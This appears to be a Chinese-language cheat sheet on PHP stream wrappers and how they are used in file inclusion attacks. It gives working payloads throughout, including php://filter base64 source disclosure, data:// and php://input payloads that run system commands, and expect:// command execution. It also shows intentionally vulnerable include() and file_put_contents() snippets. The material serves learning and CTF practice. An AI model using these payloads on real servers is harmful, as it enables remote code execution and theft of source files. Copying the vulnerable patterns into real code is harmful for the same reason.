PHP伪协议

PHP协议/封装协议

包装或协议 控制能力 allow_url_include 漏洞类型 备注
file:// - Off LFI /文件操作
glob:// - Off 目录遍历
php://filter/read include Off 文件泄露 PHP://filter/read=convert.base64-encode/resource=index.php
php://filter/write file_put_contents Off 编码 file_put_contents(“php://filter/write=string.rot13/resource=x.txt”,”content”);
php://input include On RCE Encoding is required while reading .php source: <?php echo base64_encode(file_get_contents(“solution.php”));?> OR just use <?php system(‘cat x.php’);?>
data:// include On RCE data:text/plain,<?php system(“id”)?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=
zip:// include + uploaded file Off RCE
phar:// include + uploaded file Off RCE PHP版本> = 5.3

php中支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

这里可以参考官方文档进行查看。而遇见最多的也就是php://协议了:

  • php://stdin
    主要用于php cli的输入
1
2
3
4
5
<?php
while($line = fopen('php://stdin','r')){
echo fgets($line);
}
?>

  • php://stdout
    主要用于php cli的输入
    1
    2
    3
    4
    5
    6
    <?php
    $fh = fopen('php://stdout', 'w');
    fwrite($fh, "标准输出php://stdout\n");
    fclose($fh);
    fwrite(STDOUT, "标准输出STDOUT\n");
    ?>

  • php://input
    可以读取到post没有解析的原始数据
    1
    2
    3
    <?php
    echo file_get_contents($_GET["a"]);
    ?>


当php代码换成

1
2
3
4
<?php
$code = $_GET['a'];
include($code);
?>

而且当php远程包含打开的时候(当allow_url_include=on),就可以造成任意代码执行。

  • php://output
    是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区
    1
    2
    3
    4
    <?php
    $code=$_GET["a"];
    file_put_contents($code,"test");
    ?>

  • php://filter
    是一种元封装器, 设计用于数据流打开时的筛选过滤应用
    1
    2
    3
    4
    5
    <?php
    $filename=$_GET["a"];
    $data="test";
    file_put_contents($filename, $data);
    ?>

?a=php://filter/write=string.tolower/resource=test.php
可以往服务器中写入一个文件内容全为小写且文件名为test.php的文件:
其中 :
(1)string.tolower //写入内容全部变成小写
(2)string.toupper //写入内容全部变成大写
(3)string.rot13 //写入内容全部对字符串执行 ROT13 编码
通过:?a=php://filter/convert.base64-encode/resource=test.php
可以往服务器中写入一个文件内容为base64编码且文件名为test.php的文件

1
2
3
4
5
6
7
8
9
<?php
$filename=$_GET["a"];
echo file_get_contents($filename);
?>
<?php
$filename=$_GET["a"];
include("$filename");
?>

?a=php://filter/convert.base64-encode/resource=test.php,就可以把test.php的内容以base64编码的方式显示出来

双引号包含的变量$filename,可以当成正常变量执行,而单引号包裹的变量则会当成字符串

  • expect://
    可以用这个协议执行任意linux的指令
    1
    2
    3
    4
    <?php
    $code = $_GET['hax'];
    include($code);
    ?>

那么可以用?hax=expect://command 来执行任意linux指令,但是:
Note:该封装协议默认未开启
为了使用 expect:// 封装器,你必须安装» PECL 上的 » Expect扩展。

  • data://
    数据流封装器
    当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行
    1
    2
    3
    4
    <?php
    $filename=$_GET["a"];
    include("$filename");
    ?>

参考链接:
http://blog.csdn.net/niexinming/article/details/52605144